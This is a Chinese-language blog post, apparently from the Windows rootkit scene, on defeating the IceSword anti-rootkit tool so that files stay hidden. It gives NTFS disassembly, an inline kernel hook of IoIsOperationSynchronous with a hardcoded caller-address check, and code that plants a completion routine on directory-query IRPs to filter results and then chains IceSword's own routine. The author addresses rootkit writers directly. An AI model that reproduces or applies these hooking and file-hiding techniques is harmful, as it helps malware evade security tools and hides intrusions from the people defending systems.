突破icesword实现文件隐藏

估计想在icesword下隐藏文件的人有很多吧。今天我介绍一种方法。

  先介绍一下icesword是如何查找文件的。基本原理就是自己构造一个irp出来，然后直接IoCallDriver发送到fsd。但是icesword做了更多的工作。它直接读取ntfs.sys 和fastfat.sys，从pe文件格式的角度上计算出正确的fsd的dispatch routine地址，然后再call。而且icesword自己实现了一个IoCallDriver。所以一般的fsd hook是对付不了icesword的。

  前段时间cardmagic公布了一种方法，hook IofCompleteRequest。然后在UserBuffer里处理要隐藏的文件。到目前位置，api hook 基本上走到尽头了。那么如果要处理 call dispatch routine 后的buffer还可以在哪里下手呢？

  写过驱动的人容易知道，一般的filter类驱动在往下层驱动传递irp的时候会设置一个完成函数，就是CompletionRoutine。IofCallDriver 调用下层驱动，下层驱动处理完成之后CompletionRoutine 就会被调用。那么我们能不能hook掉查询文件的irp 的完成函数呢？调试的时候发现当 MajorFunction==IRP_MJ_DIRECTORY_CONTROL,  MinorFunction==IRP_MN_QUERY_DIRECTORY 的时候IrpStackLocation中的CompletionRoutine的是空的。如何解决呢？先总结一下，现在面临两个问题：

1 如何得到icesword下发的irp ？
2 如何为捕获到的irp设置一个callback的完成函数？

下面我来逐个突破：
  icesword毕竟还是基于os开发的东西，所以它不可能独立于os去做所有的事。就是说//FileSystem//ntfs 的IRP_MJ_DIRECTORY_CONTROL的处理函数它一定会被调用。既然我们不能hook这个dispatch routine，那么我们是否可以hook 这个routine中调用过的函数，然后判断函数返回地址，和dispatch routine的地址做比较以此来判断是否在查询文件。
  先看ntfs.sys的开头部分代码：
INIT:0009527E                 mov     dword ptr [esi+7Ch], offset _NtfsFsdLockControl@8 ; NtfsFsdLockControl(x,x)
INIT:00095285                 mov     dword ptr [esi+68h], offset _NtfsFsdDirectoryControl@8 ; NtfsFsdDirectoryControl(x,x)
INIT:0009528C                 mov     dword ptr [esi+50h], offset _NtfsFsdSetInformation@8 ; NtfsFsdSetInformation(x,x)
INIT:00095293                 mov     dword ptr [esi+38h], offset _NtfsFsdCreate@8 ; NtfsFsdCreate(x,x)
INIT:0009529A                 mov     dword ptr [esi+40h], offset _NtfsFsdClose@8 ; NtfsFsdClose(x,x)
INIT:000952A1                 mov     dword ptr [esi+44h], offset _NtfsFsdRead@8 ; NtfsFsdRead(x,x)
INIT:000952A8                 mov     dword ptr [esi+48h], offset _NtfsFsdWrite@8 ; NtfsFsdWrite(x,x)
INIT:000952AF                 mov     dword ptr [esi+5Ch], offset _NtfsFsdFlushBuffers@8 ; NtfsFsdFlushBuffers(x,x)
INIT:000952B6                 mov     dword ptr [esi+6Ch], offset _NtfsFsdFileSystemControl@8 ; NtfsFsdFileSystemControl(x,x)
INIT:000952BD                 mov     dword ptr [esi+80h], offset _NtfsFsdCleanup@8 ; NtfsFsdCleanup(x,x)
INIT:000952C7                 mov     dword ptr [esi+78h], offset _NtfsFsdShutdown@8 ; NtfsFsdShutdown(x,x)
INIT:000952CE                 mov     dword ptr [esi+0A4h], offset _NtfsFsdPnp@8 ; NtfsFsdPnp(x,x)
INIT:000952D8                 mov     dword ptr [esi+28h], offset _NtfsFastIoDispatch
INIT:000952DF                 mov     eax, offset _NtfsFsdDispatchWait@8 ; NtfsFsdDispatchWait(x,x)

 开头这部分是初始化驱动的分发历程，我们需要关注的是 mov     dword ptr [esi+68h], offset _NtfsFsdDirectoryControl@8 ， 跟进来：
PAGE:00037FBD                 push    14Ch
PAGE:00037FC2                 push    offset unk_28848
PAGE:00037FC7                 call    __SEH_prolog
PAGE:00037FCC                 xor     edi, edi
PAGE:00037FCE                 mov     [ebp+var_1C], edi
PAGE:00037FD1                 call    ds:__imp__KeEnterCriticalRegion@0 ; KeEnterCriticalRegion()
PAGE:00037FD7                 push    1
PAGE:00037FD9                 push    1
PAGE:00037FDB                 lea     eax, [ebp+var_4C]
PAGE:00037FDE                 push    eax
PAGE:00037FDF                 call    _NtfsInitializeTopLevelIrp@12 ; NtfsInitializeTopLevelIrp(x,x,x)
PAGE:00037FE4                 mov     esi, eax
PAGE:00037FE6                 mov     [ebp+var_20], esi
PAGE:00037FE9
PAGE:00037FE9 loc_37FE9:                              ; CODE XREF: MakeRoomForAttribute(x,x,x,x)+2B19j
PAGE:00037FE9                 xor     ebx, ebx
PAGE:00037FEB                 mov     [ebp+ms_exc.disabled], ebx
PAGE:00037FEE                 cmp     [ebp+var_1C], ebx
PAGE:00037FF1                 jnz     short loc_3806C
PAGE:00037FF3                 mov     byte ptr [ebp+var_24], bl
PAGE:00037FF6                 push    [ebp+arg_4]
PAGE:00037FF9                 call    ds:__imp__IoIsOperationSynchronous@4 ; IoIsOperationSynchronous(x)   // 我想从这个函数下手
PAGE:00037FFF                 test    al, al
PAGE:00038001                 jz      short loc_38010
PAGE:00038003                 mov     byte ptr [ebp+var_24], 1
PAGE:00038007                 lea     eax, [ebp+var_15C]
PAGE:0003800D                 mov     [ebp+var_1C], eax
PAGE:00038010
PAGE:00038010 loc_38010:                              ; CODE XREF: NtfsFsdDirectoryControl(x,x)+44j
PAGE:00038010                 lea     eax, [ebp+var_1C]
PAGE:00038013                 push    eax
PAGE:00038014                 push    [ebp+var_24]
PAGE:00038017                 push    [ebp+arg_4]
PAGE:0003801A                 call    _NtfsInitializeIrpContext@12 ; NtfsInitializeIrpContext(x,x,x)


  这个dispatch routine的开始不远处有对IoIsOperationSynchronous的调用。我看能不能方便的hook这个函数，打开windbg，选择local kernel debuging。

lkd> u IoIsOperationSynchronous
nt!IoIsOperationSynchronous:
804f0808 8bff            mov     edi,edi
804f080a 55              push    ebp
804f080b 8bec            mov     ebp,esp
804f080d 8b4508          mov     eax,dword ptr [ebp+8]
804f0810 8b4860          mov     ecx,dword ptr [eax+60h]
804f0813 8b4918          mov     ecx,dword ptr [ecx+18h]
  好的，函数被导出。我们直接直接inline hook它。
  hook的代码片段：

//-----------------------------------------------------------
    GetKernelModuleAddress();
    
    HookFunction(kernelBaseAddress, "IoIsOperationSynchronous", MyIoIsOperationSynchronous, (ULONG*)&OldIoIsOperationSynchronous);
    
    irql = KeRaiseIrqlToDpcLevel();
    returnAddr = HookCode((PVOID)OldIoIsOperationSynchronous, (PVOID)MyIoIsOperationSynchronous);
    KeLowerIrql(irql);
//------------------------- code ends here--------------------
如何判断是否是在文件系统的IRP_MJ_DIRECTORY_CONTROL函数中被调用的呢？
    ULONG callerAddr = 0;
    _asm mov eax,[ebp+4]    // 得到返回地址
    _asm mov callerAddr,eax
    
    if(callerAddr - 0xbfefb69d < 120)  和fsd 的dispatch routine入口地址比较
    {
        HackIrp(Irp);
    }
  注：0xbfefb69d 这个是我调试的时候得到的地址，我直接硬编码了。

  到此为止，第一个问题解决了，所以现在可以捕获到icesword查询文件的irp了。


  第2个问题，如何接管完成函数。

  之前发现，ntfs驱动的dispatch routine是没有设置CompletionRoutine的。那么我就来给他设置一个。设置完成函数的api是IoSetCompletionRoutine。但是这个函数是给下层驱动设置完成函数的。我们现在是需要给当前的 stack location 设置CompletionRoutine。ok，看一下IoSetCompletionRoutine，从wrk中找源码：

#define IoSetCompletionRoutine( Irp, Routine, CompletionContext, Success, Error, Cancel ) { /
    PIO_STACK_LOCATION __irpSp;                                               /
    ASSERT( ((Success) | (Error) | (Cancel)) ? (Routine) != NULL : TRUE );    /
    __irpSp = IoGetNextIrpStackLocation( (Irp) );                             /
    __irpSp->CompletionRoutine = (Routine);                                   /
    __irpSp->Context = (CompletionContext);                                   /
    __irpSp->Control = 0;                                                     /
    if ((Success)) { __irpSp->Control = SL_INVOKE_ON_SUCCESS; }               /
    if ((Error)) { __irpSp->Control |= SL_INVOKE_ON_ERROR; }                  /
    if ((Cancel)) { __irpSp->Control |= SL_INVOKE_ON_CANCEL; } }

  看了源码马上知道该怎么做了。（如果你还没知道那就不用知道了...）
  ok，下面为fsd处理IRP_MJ_DIRECTORY_CONTROL的routine设置CompletionRoutine

irpSp->CompletionRoutine = MyFilterFiles;
irpSp->Context = Irp->UserBuffer;
irpSp->Control = 0;
irpSp->Control = SL_INVOKE_ON_SUCCESS;
irpSp->Control |= SL_INVOKE_ON_ERROR;
irpSp->Control |= SL_INVOKE_ON_CANCEL;

  函数MyFilterFiles是被我们控制的，所以我们可以在里面隐藏掉想要隐藏的文件。MyFilterFiles的实现不写了，参见cardmagic就可以了。

  做到这里我认为我可以成功了，但是我拿到虚拟机里一试，机器篮屏了。出错的module是icesword的驱动。郁闷了。这是vxk提醒了我。原来icesword自己设置了完成函数。下断点，调试，icesword果然有自己的完成函数。（严重感谢vxk）解决这个问题不难，不管它的完成函数是怎么实现的，CompletionRoutine的函数原型基本是固定的。所以我只需要在MyFilterFiles处理完Irp->UserBuffer后 ， push参数进去，然后call icesword的完成函数就行了。


  至此，突破icesword实现文件隐藏的全部工作完成了。完整的代码我不就放出来的。对于写rootkit的人们来说知道了思路就已经足够了。放完整的代码出来如果被一些流氓直接a过去就不和谐了。

  另外，要想比较完美的实现还有几个小细节问题要处理。譬如如何得到IRP_MJ_DIRECTORY_CONTROL处理routine的正确地址，这个可以像icesword一样map 磁盘文件，然后自己计算。其余的问题我一时想不起来了，昨天失眠……